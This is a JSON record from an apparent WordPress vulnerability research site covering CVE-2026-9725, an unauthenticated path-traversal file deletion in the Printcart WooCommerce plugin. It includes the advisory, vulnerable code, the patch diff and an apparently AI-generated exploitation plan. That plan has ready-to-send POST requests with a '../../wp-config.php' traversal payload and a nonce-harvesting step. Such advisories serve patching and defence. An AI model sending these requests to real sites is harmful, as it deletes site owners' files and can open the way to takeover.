[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fNqoFHORkjgcJrdlvb8bcX1z5IJsMa4fAKq5Javm6kho":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-9725","printcart-web-to-print-product-designer-for-woocommerce-unauthenticated-arbitrary-file-deletion","Printcart Web to Print Product Designer for WooCommerce \u003C= 2.5.2 - Unauthenticated Arbitrary File Deletion","The Printcart Web to Print Product Designer for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 2.5.2 This is due to insufficient path validation in the store_design_data() function, which constructs a filesystem path from the user-supplied 'nbd_item_key' POST parameter sanitized only with sanitize_text_field() — which does not strip path traversal sequences — and then passes that path directly to Nbdesigner_IO::delete_folder() and PHP's rename(). The nonce protecting the nbd_save_customer_design AJAX action is freely obtainable by unauthenticated users via the nbd_check_use_logged_in endpoint. This makes it possible for unauthenticated attackers to delete arbitrary files on the affected site's server which may make remote code execution possible.","printcart-integration",null,"\u003C=2.5.2","2.5.3","critical",9.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:H","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-07-02 15:52:30","2026-07-03 04:30:17",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5bb962bd-9b23-4820-885e-d8095250c3c7?source=api-prod",1,[22,23,24,25,26,27,28],"assets\u002Fimages\u002Fbackground\u002FThumbs.db","assets\u002Fimages\u002Fpattern\u002FThumbs.db","includes\u002Fclass-compatibility.php","includes\u002Fclass-helper.php","includes\u002Fclass-import-export-product.php","includes\u002Fclass-util.php","includes\u002Fclass.advanced.upload.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-9725 - Printcart Web to Print Product Designer Arbitrary File Deletion\n\n## 1. Vulnerability Summary\nThe **Printcart Web to Print Product Designer for WooCommerce** plugin (versions \u003C= 2.5.2) contains a critical arbitrary file deletion vulnerability. The vulnerability exists because the function `store_design_data()` (inferred to be in a core design handling file) processes a user-supplied parameter `nbd_item_key` without sufficient path validation. \n\nWhile the parameter is sanitized with `sanitize_text_field()`, this function does not remove path traversal sequences (`..\u002F`). The resulting unsanitized path is passed to `Nbdesigner_IO::delete_folder()` (defined in `includes\u002Fclass-util.php`) or PHP's `rename()`, allowing an unauthenticated user to delete any file the web server has permissions to access (e.g., `wp-config.php`).\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **AJAX Actions:** \n    1.  `nbd_check_use_logged_in` (to retrieve the nonce).\n    2.  `nbd_save_customer_design` (the vulnerable sink).\n*   **Vulnerable Parameter:** `nbd_item_key` (POST).\n*   **Authentication:** None (Action is registered for `nopriv`).\n*   **Payload Type:** Path Traversal (e.g., `..\u002F..\u002F..\u002F..\u002Fwp-config.php`).\n\n## 3. Code Flow (Inferred from Description)\n1.  **Request Entry:** An unauthenticated user sends an AJAX request with the action `nbd_save_customer_design`.\n2.  **Nonce Verification:** The plugin checks for a nonce (e.g., `_nbnonce` or `nonce`).\n3.  **Vulnerable Function Call:** The handler calls `store_design_data()`.\n4.  **Parameter Extraction:** `store_design_data()` retrieves `$_POST['nbd_item_key']`.\n5.  **Weak Sanitization:** It applies `sanitize_text_field($_POST['nbd_item_key'])`, which preserves `..\u002F`.\n6.  **Path Construction:** The plugin constructs a path, likely: `$path = NBDESIGNER_CUSTOMER_DIR . '\u002F' . $nbd_item_key;`.\n7.  **The Sink:** The plugin calls `Nbdesigner_IO::delete_folder( $path )`.\n    *   As seen in `includes\u002Fclass-util.php`:\n        ```php\n        public static function delete_folder( $path ) {\n            if ( is_dir( $path ) === true ) {\n                \u002F\u002F Recursive deletion...\n            } else if ( is_file( $path ) === true ) {\n                return unlink( $path ); \u002F\u002F SINK: Arbitrary file deletion\n            }\n            return false;\n        }\n        ```\n\n## 4. Nonce Acquisition Strategy\nThe vulnerability description explicitly states that the nonce for `nbd_save_customer_design` is obtainable via the `nbd_check_use_logged_in` endpoint.\n\n1.  **Identify Shortcode:** The plugin uses shortcodes like `[nbdesigner]` or `[nbd_main]` (inferred from common WooCommerce designer patterns) to load its environment.\n2.  **Create Test Page:**\n    `wp post create --post_type=page --post_title=\"Designer Test\" --post_status=publish --post_content=\"[nbd_main]\"`\n3.  **Fetch Nonce via AJAX Endpoint:**\n    The `nbd_check_use_logged_in` endpoint likely returns a JSON object containing the nonce.\n    *   **Request:** `POST \u002Fwp-admin\u002Fadmin-ajax.php?action=nbd_check_use_logged_in`\n    *   **Alternative (JS Context):** Navigate to the Designer Test page and use `browser_eval` to find the localization object. Based on the plugin slug `printcart-integration`, look for objects like `nbd_design_data` or `nbd_main_js`.\n    *   **Localization Key (Hypothetical):** `window.nbd_main_data?.nonce` or `window.nbd_save_nonce`.\n\n## 5. Exploitation Strategy\n### Step 1: Obtain the Nonce\nUse the `http_request` tool to hit the unauthenticated nonce endpoint.\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Body (URL-encoded):** `action=nbd_check_use_logged_in`\n*   **Extract:** The `nonce` value from the JSON response.\n\n### Step 2: Trigger Deletion\nUse the obtained nonce to call the vulnerable action.\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Body (URL-encoded):**\n    ```\n    action=nbd_save_customer_design&nonce=[NONCE]&nbd_item_key=..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fwp-config.php\n    ```\n    *(Note: Adjust the number of `..\u002F` based on the plugin's data directory depth, typically `wp-content\u002Fuploads\u002Fnbdesigner\u002Ftemp\u002F` requires 5-6 jumps to reach root).*\n\n## 6. Test Data Setup\n1.  **Create Target File:** Create a dummy file in the WordPress root to prove deletion without breaking the site.\n    `touch \u002Fvar\u002Fwww\u002Fhtml\u002Fdeletion-test.txt`\n2.  **Determine Path Depth:** The plugin usually stores customer data in `wp-content\u002Fuploads\u002Fnbdesigner\u002F`.\n    Path to root: `..\u002F..\u002F..\u002F..\u002F` (from `nbdesigner` to `wp-content`, to `uploads`, to root).\n\n## 7. Expected Results\n*   **Step 1 Response:** `200 OK` with JSON containing a nonce (e.g., `{\"nonce\":\"a1b2c3d4e5\"}`).\n*   **Step 2 Response:** `200 OK`. The response body might indicate success or be empty.\n*   **File System Change:** The file `\u002Fvar\u002Fwww\u002Fhtml\u002Fdeletion-test.txt` will be removed.\n\n## 8. Verification Steps\n1.  **Check File Existence (via CLI):**\n    `ls \u002Fvar\u002Fwww\u002Fhtml\u002Fdeletion-test.txt`\n    *Expected: \"ls: cannot access ...: No such file or directory\"*\n2.  **Confirm Target (via HTTP):**\n    Attempt to access the file via the browser\u002Fhttp_request.\n    *Expected: 404 Not Found.*\n\n## 9. Alternative Approaches\nIf `nbd_check_use_logged_in` does not return the nonce directly:\n1.  **Search Source for `wp_localize_script`:** Use `grep -r \"wp_localize_script\" .` to find which JS object carries the nonce.\n2.  **Browser Extraction:**\n    *   `browser_navigate(\"http:\u002F\u002Flocalhost:8080\u002Fpage-with-designer-shortcode\")`\n    *   `browser_eval(\"window.nbdesigner_config.nonce\")` (or similar object key).\n3.  **Action Specifics:** If `delete_folder` is not called, check if `rename()` is used to move a file from a controlled source to a controlled destination, effectively deleting the source or overwriting a critical file.","The Printcart Web to Print Product Designer for WooCommerce plugin (\u003C= 2.5.2) is vulnerable to unauthenticated arbitrary file deletion due to insufficient path validation in the `store_design_data()` function. An attacker can use path traversal sequences in the 'nbd_item_key' parameter to delete critical server files, such as wp-config.php, potentially leading to remote code execution.","\u002F\u002F includes\u002Fclass.nbdesigner.php (~ line 3704)\nif (isset($_POST['nbd_item_key']) && $_POST['nbd_item_key'] != '') {\n    \u002F* Edit design \n     * In case edit template, $design_type = 'template'\n     *\u002F\n    $nbd_item_key = sanitize_text_field($_POST['nbd_item_key']);\n\n---\n\n\u002F\u002F includes\u002Fclass.nbdesigner.php (~ line 3246)\nprivate function store_design_data($nbd_item_key, $data, $product_config, $product_option, $product_upload)\n{\n    $path = NBDESIGNER_CUSTOMER_DIR . '\u002F' . $nbd_item_key;\n    if (file_exists($path . '_old'))\n        Nbdesigner_IO::delete_folder($path . '_old');\n\n---\n\n\u002F\u002F includes\u002Fclass-util.php (~ line 94)\n} else if ( is_file( $path ) === true ) {\n    return unlink( $path );\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprintcart-integration\u002F2.5.2\u002Fincludes\u002Fclass-helper.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprintcart-integration\u002F2.5.3\u002Fincludes\u002Fclass-helper.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprintcart-integration\u002F2.5.2\u002Fincludes\u002Fclass-helper.php\t2026-06-09 19:42:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprintcart-integration\u002F2.5.3\u002Fincludes\u002Fclass-helper.php\t2026-07-02 07:38:48.000000000 +0000\n@@ -77,9 +77,82 @@\n+if ( ! function_exists( 'nbd_sanitize_item_key' ) ) {\n+    \u002F**\n+     * Sanitize a customer-design item key (folder name under NBDESIGNER_CUSTOMER_DIR)\n+     * received from request input ($_GET\u002F$_POST).\n+     *\n+     * @since 2.5.3\n+     * @param mixed $key Raw value coming from $_GET \u002F $_POST.\n+     * @return string Safe key ([A-Za-z0-9_-]{1,128}), or empty string if invalid.\n+     *\u002F\n+    function nbd_sanitize_item_key( $key ) {\n+        if ( ! is_scalar( $key ) ) {\n+            return '';\n+        }\n+        $key = (string) $key;\n+        $key = basename( $key );\n+        if ( ! preg_match( '\u002F^[A-Za-z0-9_\\-]{1,128}$\u002F', $key ) ) {\n+            return '';\n+        }\n+        return $key;\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprintcart-integration\u002F2.5.2\u002Fincludes\u002Fclass.nbdesigner.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprintcart-integration\u002F2.5.3\u002Fincludes\u002Fclass.nbdesigner.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprintcart-integration\u002F2.5.2\u002Fincludes\u002Fclass.nbdesigner.php\t2026-06-09 19:42:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprintcart-integration\u002F2.5.3\u002Fincludes\u002Fclass.nbdesigner.php\t2026-07-02 07:38:48.000000000 +0000\n@@ -3246,6 +3253,11 @@\n     private function store_design_data($nbd_item_key, $data, $product_config, $product_option, $product_upload)\n     {\n+        \u002F\u002F Defensive: never touch the filesystem with an untrusted key, even if the caller forgot to sanitize.\n+        $nbd_item_key = nbd_sanitize_item_key( $nbd_item_key );\n+        if ( '' === $nbd_item_key ) {\n+            return false;\n+        }\n         $path = NBDESIGNER_CUSTOMER_DIR . '\u002F' . $nbd_item_key;\n         if (file_exists($path . '_old'))\n             Nbdesigner_IO::delete_folder($path . '_old');\n@@ -3697,10 +3712,14 @@\n         $result['product_id'] = $product_id;\n         $result['variation_id'] = $variation_id;\n         if (isset($_POST['nbd_item_key']) && $_POST['nbd_item_key'] != '') {\n-            $nbd_item_key = sanitize_text_field($_POST['nbd_item_key']);\n+            $nbd_item_key = nbd_sanitize_item_key( $_POST['nbd_item_key'] );\n+            if ( '' === $nbd_item_key ) {\n+                $result['mes'] = esc_html__( 'Invalid design key', 'web-to-print-online-designer' );\n+                nbd_die( $result );\n+            }\n... (truncated)","1. **Nonce Acquisition**: An unauthenticated attacker first retrieves a valid security nonce by sending a POST request to the `wp-admin\u002Fadmin-ajax.php?action=nbd_check_use_logged_in` endpoint.\n2. **Payload Construction**: The attacker crafts a path traversal payload targeting a specific file on the server (e.g., `..\u002F..\u002F..\u002F..\u002Fwp-config.php`).\n3. **Request Trigger**: A second POST request is sent to `wp-admin\u002Fadmin-ajax.php?action=nbd_save_customer_design` with the acquired nonce and the `nbd_item_key` parameter set to the traversal payload.\n4. **Execution**: Because the plugin uses `sanitize_text_field()` on the input (which does not remove `..\u002F`) and subsequently passes this path to `Nbdesigner_IO::delete_folder()` or `rename()`, the targeted file is deleted from the filesystem.","gemini-3-flash-preview","2026-07-25 09:59:24","2026-07-25 10:00:11",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","2.5.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprintcart-integration\u002Ftags\u002F2.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fprintcart-integration.2.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprintcart-integration\u002Ftags\u002F2.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fprintcart-integration.2.5.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprintcart-integration\u002Ftags"]